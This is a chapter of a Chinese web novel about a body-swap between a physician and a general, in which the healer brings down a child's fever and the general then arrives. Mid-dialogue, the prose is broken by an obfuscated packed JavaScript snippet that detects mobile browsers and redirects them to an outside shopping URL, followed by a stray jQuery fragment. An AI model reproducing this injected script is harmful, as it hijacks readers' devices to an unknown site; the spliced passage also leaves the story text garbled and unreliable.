文趣网 > 都市小说 > 糟糕!和阴翳将军互穿啦! > 7. 第 7 章 女儿身偏行将法
    晨光才透,金玉堂里已渐渐有了人声。

    后院几个婆子扫着青砖地,将昨夜席间吹落的花瓣、瓜子壳一并归在簸箕里。两个小丫头捧着铜盆往各房送热水,经过廊下时,见栏杆上还搭着半幅石榴红绫披帛,也不敢乱动,只悄悄绕了过去。西楼一扇窗支开半尺,有人倚窗梳头,乌发垂到窗外,不一会儿,又把窗轻轻掩上了。

    白檀早将药箱收拾停当,放在廊下。

    见娘子自房里出来,便迎上前去,将披风替他系好,低声说道:“周家的人天没亮便来过了,说孩子夜里又烧了一阵,人都有些糊涂了,只求姑娘快去瞧瞧。”

    冀玉书听了,也不多问,只点一点头,道:“过去瞧瞧。”

    白檀答应着,提起药箱,随在身后。

    此时街市方才开动。

    卖炊饼的掀起蒸笼,一团热气直腾起来;炸果子的油锅也才滚开,香气随着晨风飘出几条街去。两旁挑担做买卖的人三三两两,彼此不过问些昨夜可曾落雨、今日菜价如何的话,并无别事。

    一路上,白檀因说道:“那孩子才四岁。原不过受了些风寒,请郎中开了方子,吃了两日,烧退了一回,不想隔了半日又起,如今反反复复,已是第五日了。”

    冀玉书缓缓问道:“如今还能进饮食么?”

    白檀道:“昨日还勉强吃得几口稀粥,到夜里便水米不进了,连喂两口水,也尽数吐了出来。”

    冀玉书又道:“夜里小便可曾有过?”

    白檀倒被问住,想了一想,方道:“这个倒未曾听他们提起。”

    说话之间,已至周家门口。

    只见院门大开,东屋门前站着几个妇人,低声絮絮,也不知说些什么。一见人到了,一个婆子先扬声道:“月娘子来了。”

    众人忙闪在两旁,让出一条路来。

    那年轻媳妇两眼哭得红肿,一见冀玉书,便要跪下。冀玉书早伸手虚扶住,道:“先瞧孩子要紧。”

    那媳妇只得忍泪,将门帘掀起,请二人进去。

    才一进屋,便觉一股热气扑面而来。

    门窗俱闭,炭盆烧得极旺,又兼药气蒸腾,屋里闷得叫人透不过气。炕上孩子紧紧裹在被里,小脸烧得通红,气息急促,额上一方湿帕,早已暖得没了凉意。

    一个老婆子忙换了一块新的,口中只念阿弥陀佛道:“也不知换了多少遭,总不见好。月娘子,烦请您快想想法子罢。”

    冀玉书却不忙上前,只立在屋里,四下缓缓看了一遍。

    见窗扇闭得严严实实,炭火又旺,炕上还压着两床厚被,不觉微微蹙了蹙眉。

    半晌,方淡淡说道:“把窗支开些。”

    屋里众人听了,都怔了一怔。

    那婆子忙上前一步,道:“姑娘,这可使不得。孩子身上正热着,若见了风,可不是雪上加霜?”

    冀玉书抬眼望了望她,神色依旧平静,半日方道:“屋里太闷。”

    只四个字,再无别话。

    那婆子一时倒愣住了,张了张嘴,还欲再说。

    周家媳妇早已拭着泪道:“妈妈,既请了月娘子来,总该听月娘子的。”

    白檀见周家人允了,却无人动弹,忙过去将窗支开一道细缝。

    只见一阵晨风徐徐送进,屋里沉闷之气顿时散了几分。

    冀玉书这才走近炕前,先探了探孩子额头,又摸了摸颈后,静了片刻,方道:“取热水来。”

    众人忙去。

    又道:“再拿几块干净布巾。”

    不一时,都送了来。

    冀玉书挽起袖口,将布巾浸湿,细细拧去水分,手却停在那里,久久没有落下。

    这一停,旁人只当他细细思量病情,哪里知道他心中也自踌躇。

    昔日在军中时,每有将士高热,军医都会命人以温水反复拭擦颈侧、腋下诸处,借以散热,他在旁见得多了,也曾依言帮着料理,自知这法子的效果。

    只是那些俱是精壮汉子,眼前却只是个四岁的孩童。是否一样,他心里终究没有十分把握。

    想到这里,也不过略一沉吟,到底轻轻将布巾覆在孩子颈侧,缓缓替他擦拭,又叫人隔片刻便换一次。

    屋里一时静得出奇。只有铜盆里偶然滴落两声水响,众人连喘气都放轻了。

    约莫过了半盏茶时辰,只见孩子原本紧锁的眉心,竟一点一点舒展开来。

    忽然低低唤了一声:“娘……”

    声音细若游丝。

    周家媳妇听见,再也忍耐不住,忙俯身握住孩子的手,连声应道:“娘在这里,娘在这里。”

    一句未了,眼泪早簌簌落下。

    屋里几个婆子见了,也都暗暗念佛。

    白檀站在一旁,不觉轻轻舒了一口气。

    她跟随月娘子这些年,看过诊脉施针,也见过开方用药,却还是头一遭见她这般治病。

    既不忙着下针,也不急着写方,不过命人开窗散闷,又守着孩子一遍遍换布巾,竟渐渐将那一身高热压了下去。

    白檀心下虽觉与往日所见大不相同,却也并不以为异。月娘子原不是拘泥旧法的人,平日替人诊病,遇着一样病症,也常因人而异,另有一番处置。如今想来,这法子想必也是娘子素日钻研所得,不过自己从前未曾见过罢了。想到这里,她望向冀玉书的目光里,不觉又添了几分敬服。

    冀玉书却并未因此松懈,只向那媳妇道:“熬一碗稀稀的米汤来。”

    又道:“待他醒了,只喂两三口,不可多喂。若能咽得下,再慢慢添些。”

    又将屋里该留心的几件事,从容说了一遍。

    众人一一答应,唯恐记漏一句。

    正说着,只听院中一阵脚步声渐近。

    屋里众人不由都回头望去。

    只见门帘一掀,一人已大步走了进来。

    那人身量修长,着一袭玄色常服,腰束玉带,虽未披甲,眉宇间却自有一股凛然英气,叫人一望便知不是寻常人物。

    屋里几个婆子先是一怔。

    待瞧清来人面目,更是惊得忙忙退开两步。

    “昭……昭武将军?”

    也不知是谁低低惊呼了一声。

    一句话出口,满屋子的人都愣住了。

    周家不过寻常商户,平日里莫说昭武将军,便是衙门里的一个书办,也未必能踏进门来。如今这样的人物竟亲自到了这里,一时人人面面相觑,竟不知出了什么事。

    周家媳妇更是慌得连礼都忘了行,只呆呆站在那里。

    蓝双月却像并未瞧见众人的神色。她的目光只在屋里略一扫过,便落在冀玉书身上。

    那一瞬,两人四目相对。

    冀玉书心中便明白,她已经知晓了这里的情况。

    蓝双月却并未立时开口,只缓步走到炕前,低头看了孩子一眼。

    旁人虽不知将军为何突然对一个孩子起了兴趣,却也无人敢拦。

    她顺势执起孩子的小手,指腹轻轻搭在腕间,不过两三个呼吸,便已松开。

    脉象虽虚,高热却已缓缓退下。

    已无大碍。

    她心下微松,这才转过身来,望着冀玉书,淡淡一笑,道:“月娘子。”

    众人俱屏息听着。

    蓝双月却不疾不徐地道:“倒叫我好找。”

    冀玉书神色不动,只静静望着她。

    蓝双月又道:“昨晚的话,还未说完。”

    说罢,略顿了一顿,像是忽然想起屋里还有旁人似的,唇角微微一扬。

    “

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17720844|208638||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    这里不是说话的地方。”

    一句话说得含糊,偏偏越是含糊,越叫人忍不住多想。

    屋里几个婆子彼此交换了个眼色,都识趣地低下头去。

    周家媳妇虽不明所以,也不敢多问。

    蓝双月这才朝冀玉书伸出手,道:“孩子既已无碍,便随我走吧。”

    冀玉书自然知道她是在替自己脱身。

    当下也不推辞,只向周家媳妇道:“孩子高热已退,你们依我方才所说,好生看护。今夜当尤为注意些,若有反复,再来寻我。”

    周家众人连声应是。

    蓝双月也不多留,转身便拉着冀玉书往外走。

    白檀见状,连忙提起药箱,亦步亦趋跟了出去。

    直到院门外的脚步声渐渐远了,周家媳妇方才像回过神来一般,忙又坐到炕边去看孩子。

    那孩子不知何时睡沉了些,小脸虽还带着几分红,却不像先前那般滚烫。她伸手摸了一摸,眼圈一红,低声道:“谢天谢地,总算缓过来了。”

    几个婆子也都围过来看。

    先前换帕子的那个婆子念了几声佛,道:“阿弥陀佛,可算有个好模样了。方才那样子,倒叫我想起我家老头子当年那一回病来,真真是吓死人。”

    旁边妇人道:“你又来了。孩子才好了些,又提这些做什么。”

    那婆子笑了一笑,没再说下去。

    过了一会儿,见孩子睡得安稳,众人的心才算放下。

    那婆子走到门边,往外张望了一眼,忽然压低声音道:“我倒想问一句。”

    旁边人看她:“你又想问什么?”

    她道:“方才来的那位,真是昭武将军?”

    “不是他还能是谁?”

    “啧啧,”那婆子摇头道,“我这辈子也没想过,咱们这院门,竟有一日能叫这样的人物踏进来。”

    一个媳妇笑道:“你少见多怪罢了。”

    “你见过?”

    “我没见过。”

    “那你说得倒轻巧。”

    几个人说着,都忍不住笑了一笑。

    那婆子又往门外看了一眼,道:“不过我还有一桩不明白。”

    “什么?”

    “这将军来得也巧。”

    她说到这里,故意停了一停。

    旁边几个妇人原本还在收拾东西,听见这话,手上的动作不觉都慢了下来。

    “你又要说什么?”

    那婆子道:“我说什么?我不过想着,方才那句话……”

    “哪句?”

    那婆子听到有人问了,眼珠一转,忽又来了兴致。

    她先往门外瞧了一眼,见那三人的身影早已不见,这才清了清嗓子,学着方才那位将军的模样,背了背手,沉了声音,道:“昨晚的话……还未说完。”

    说罢,自己还觉得颇有几分气势,眉眼间竟也跟着端了起来。

    屋里静了一瞬。

    随即,不知是谁先笑了一声。

    旁边一个妇人笑着推了她一把,道:“你也不看看自己什么样子,倒学起人家的气派来了。”

    那年长些的婆子忙道:“好了好了,孩子还在睡呢,你们倒有闲心。”

    嘴上虽这样说,自己却也忍不住弯了弯嘴角。

    一个年轻媳妇小声道:“我倒觉得没什么。月娘子本就是个有本事的人,认识些贵人,也不奇怪。”

    那婆子听了,连连点头。

    “这倒也是。”说着,又忍不住补了一句:“只是从前只道月娘子医术高明,哪里想到,竟还有这等交情。只是不知这等交情,是几时结下的。”

    众人听了,又笑起来。

    只是笑声到底放得很轻,生怕惊了里屋那个好容易安稳睡下的孩子。